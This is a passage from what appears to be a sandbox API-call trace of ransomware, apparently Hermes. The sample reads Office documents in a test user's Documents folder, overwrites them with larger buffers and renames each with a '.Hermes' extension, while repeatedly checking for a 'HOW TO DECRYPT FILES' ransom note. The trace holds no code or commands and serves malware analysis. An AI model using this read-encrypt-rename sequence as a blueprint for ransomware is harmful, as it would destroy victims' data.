lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", lpFilePart=0x0) returned 0x2d [0091.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ayhyobkv0xmliy.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.628] GetFileType (hFile=0x304) returned 0x1 [0091.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.628] GetFileType (hFile=0x304) returned 0x1 [0091.628] WriteFile (in: hFile=0x304, lpBuffer=0x42d7390*, nNumberOfBytesToWrite=0x160d0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x42d7390*, lpNumberOfBytesWritten=0x19e3d0*=0x160d0, lpOverlapped=0x0) returned 1 [0091.630] CloseHandle (hObject=0x304) returned 1 [0091.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", lpFilePart=0x0) returned 0x2d [0091.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx.Hermes", lpFilePart=0x0) returned 0x34 [0091.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ayhyobkv0xmliy.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ada10, ftCreationTime.dwHighDateTime=0x1d4e00c, ftLastAccessTime.dwLowDateTime=0xbb65ac90, ftLastAccessTime.dwHighDateTime=0x1d4b15b, ftLastWriteTime.dwLowDateTime=0xb01516f3, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x160d0)) returned 1 [0091.633] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ayhyobkv0xmliy.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\ayhyobkv0xmliy.docx.hermes")) returned 1 [0091.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", lpFilePart=0x0) returned 0x28 [0091.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bzh3 qa3w.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.633] GetFileType (hFile=0x304) returned 0x1 [0091.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.634] GetFileType (hFile=0x304) returned 0x1 [0091.634] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xed3b [0091.634] ReadFile (in: hFile=0x304, lpBuffer=0x3175368, nNumberOfBytesToRead=0xed3b, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3175368*, lpNumberOfBytesRead=0x19e3dc*=0xed3b, lpOverlapped=0x0) returned 1 [0091.634] CloseHandle (hObject=0x304) returned 1 [0091.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", lpFilePart=0x0) returned 0x28 [0091.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bzh3 qa3w.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.662] GetFileType (hFile=0x304) returned 0x1 [0091.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.662] GetFileType (hFile=0x304) returned 0x1 [0091.662] WriteFile (in: hFile=0x304, lpBuffer=0x3008ba4*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3008ba4*, lpNumberOfBytesWritten=0x19e3d0*=0xed40, lpOverlapped=0x0) returned 1 [0091.663] CloseHandle (hObject=0x304) returned 1 [0091.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx", lpFilePart=0x0) returned 0x28 [0091.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx.Hermes", lpFilePart=0x0) returned 0x2f [0091.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bzh3 qa3w.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655d5490, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x873bcfb0, ftLastAccessTime.dwHighDateTime=0x1d49cb3, ftLastWriteTime.dwLowDateTime=0xb01ccf3d, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xed40)) returned 1 [0091.676] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bzh3 qa3w.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BZh3 QA3w.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\bzh3 qa3w.xlsx.hermes")) returned 1 [0091.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", lpFilePart=0x0) returned 0x23 [0091.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx" (normalized: "c:\\users\\fd1hvy\\documents\\idj9.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.676] GetFileType (hFile=0x304) returned 0x1 [0091.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.676] GetFileType (hFile=0x304) returned 0x1 [0091.676] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x1146a [0091.676] ReadFile (in: hFile=0x304, lpBuffer=0x3017e3c, nNumberOfBytesToRead=0x1146a, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3017e3c*, lpNumberOfBytesRead=0x19e3dc*=0x1146a, lpOverlapped=0x0) returned 1 [0091.677] CloseHandle (hObject=0x304) returned 1 [0091.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", lpFilePart=0x0) returned 0x23 [0091.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx" (normalized: "c:\\users\\fd1hvy\\documents\\idj9.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.696] GetFileType (hFile=0x304) returned 0x1 [0091.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.696] GetFileType (hFile=0x304) returned 0x1 [0091.697] WriteFile (in: hFile=0x304, lpBuffer=0x3098ae8*, nNumberOfBytesToWrite=0x11470, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3098ae8*, lpNumberOfBytesWritten=0x19e3d0*=0x11470, lpOverlapped=0x0) returned 1 [0091.698] CloseHandle (hObject=0x304) returned 1 [0091.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\IDj9.docx", lpFilePart=0x0) returned 0x23 [0091.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\IDj9.docx.Hermes", lpFilePart=0x0) returned 0x2a [0091.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx" (normalized: "c:\\users\\fd1hvy\\documents\\idj9.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c18aac0, ftCreationTime.dwHighDateTime=0x1d4ff8e, ftLastAccessTime.dwLowDateTime=0xc33f74c0, ftLastAccessTime.dwHighDateTime=0x1d4da58, ftLastWriteTime.dwLowDateTime=0xb021018f, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x11470)) returned 1 [0091.700] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx" (normalized: "c:\\users\\fd1hvy\\documents\\idj9.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\IDj9.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\idj9.docx.hermes")) returned 1 [0091.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", lpFilePart=0x0) returned 0x23 [0091.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ok6_.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.701] GetFileType (hFile=0x304) returned 0x1 [0091.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.701] GetFileType (hFile=0x304) returned 0x1 [0091.701] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x1210d [0091.701] ReadFile (in: hFile=0x304, lpBuffer=0x30aa448, nNumberOfBytesToRead=0x1210d, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x30aa448*, lpNumberOfBytesRead=0x19e3dc*=0x1210d, lpOverlapped=0x0) returned 1 [0091.701] CloseHandle (hObject=0x304) returned 1 [0091.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", lpFilePart=0x0) returned 0x23 [0091.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ok6_.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.844] GetFileType (hFile=0x304) returned 0x1 [0091.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.845] GetFileType (hFile=0x304) returned 0x1 [0091.845] WriteFile (in: hFile=0x304, lpBuffer=0x2fb8310*, nNumberOfBytesToWrite=0x12110, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x2fb8310*, lpNumberOfBytesWritten=0x19e3d0*=0x12110, lpOverlapped=0x0) returned 1 [0091.846] CloseHandle (hObject=0x304) returned 1 [0091.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx", lpFilePart=0x0) returned 0x23 [0091.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx.Hermes", lpFilePart=0x0) returned 0x2a [0091.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ok6_.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4141cb90, ftCreationTime.dwHighDateTime=0x1d4cd91, ftLastAccessTime.dwLowDateTime=0xe4fb8bb0, ftLastAccessTime.dwHighDateTime=0x1d507a0, ftLastWriteTime.dwLowDateTime=0xb036770d, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x12110)) returned 1 [0091.848] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ok6_.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\oK6_.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\ok6_.pptx.hermes")) returned 1 [0091.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", lpFilePart=0x0) returned 0x26 [0091.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pfdpolw.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.849] GetFileType (hFile=0x304) returned 0x1 [0091.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.849] GetFileType (hFile=0x304) returned 0x1 [0091.849] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xc1d9 [0091.849] ReadFile (in: hFile=0x304, lpBuffer=0x2fca920, nNumberOfBytesToRead=0xc1d9, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x2fca920*, lpNumberOfBytesRead=0x19e3dc*=0xc1d9, lpOverlapped=0x0) returned 1 [0091.849] CloseHandle (hObject=0x304) returned 1 [0091.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", lpFilePart=0x0) returned 0x26 [0091.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pfdpolw.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.945] GetFileType (hFile=0x304) returned 0x1 [0091.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.945] GetFileType (hFile=0x304) returned 0x1 [0091.945] WriteFile (in: hFile=0x304, lpBuffer=0x303be1c*, nNumberOfBytesToWrite=0xc1e0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x303be1c*, lpNumberOfBytesWritten=0x19e3d0*=0xc1e0, lpOverlapped=0x0) returned 1 [0091.947] CloseHandle (hObject=0x304) returned 1 [0091.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx", lpFilePart=0x0) returned 0x26 [0091.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx.Hermes", lpFilePart=0x0) returned 0x2d [0091.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pfdpolw.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf5925e0, ftCreationTime.dwHighDateTime=0x1d4dfef, ftLastAccessTime.dwLowDateTime=0x952d61e0, ftLastAccessTime.dwHighDateTime=0x1d49080, ftLastWriteTime.dwLowDateTime=0xb0472795, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xc1e0)) returned 1 [0091.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.949] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pfdpolw.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\pFdPoLW.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\pfdpolw.docx.hermes")) returned 1 [0091.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", lpFilePart=0x0) returned 0x2b [0091.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uzftfgr0j-cg.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.950] GetFileType (hFile=0x304) returned 0x1 [0091.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.950] GetFileType (hFile=0x304) returned 0x1 [0091.950] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x156b1 [0091.950] ReadFile (in: hFile=0x304, lpBuffer=0x3fa66e8, nNumberOfBytesToRead=0x156b1, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3fa66e8*, lpNumberOfBytesRead=0x19e3dc*=0x156b1, lpOverlapped=0x0) returned 1 [0091.950] CloseHandle (hObject=0x304) returned 1 [0091.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", lpFilePart=0x0) returned 0x2b [0091.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uzftfgr0j-cg.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.971] GetFileType (hFile=0x304) returned 0x1 [0091.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.971] GetFileType (hFile=0x304) returned 0x1 [0091.971] WriteFile (in: hFile=0x304, lpBuffer=0x3fe6b58*, nNumberOfBytesToWrite=0x156c0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3fe6b58*, lpNumberOfBytesWritten=0x19e3d0*=0x156c0, lpOverlapped=0x0) returned 1 [0091.972] CloseHandle (hObject=0x304) returned 1 [0091.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx", lpFilePart=0x0) returned 0x2b [0091.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: 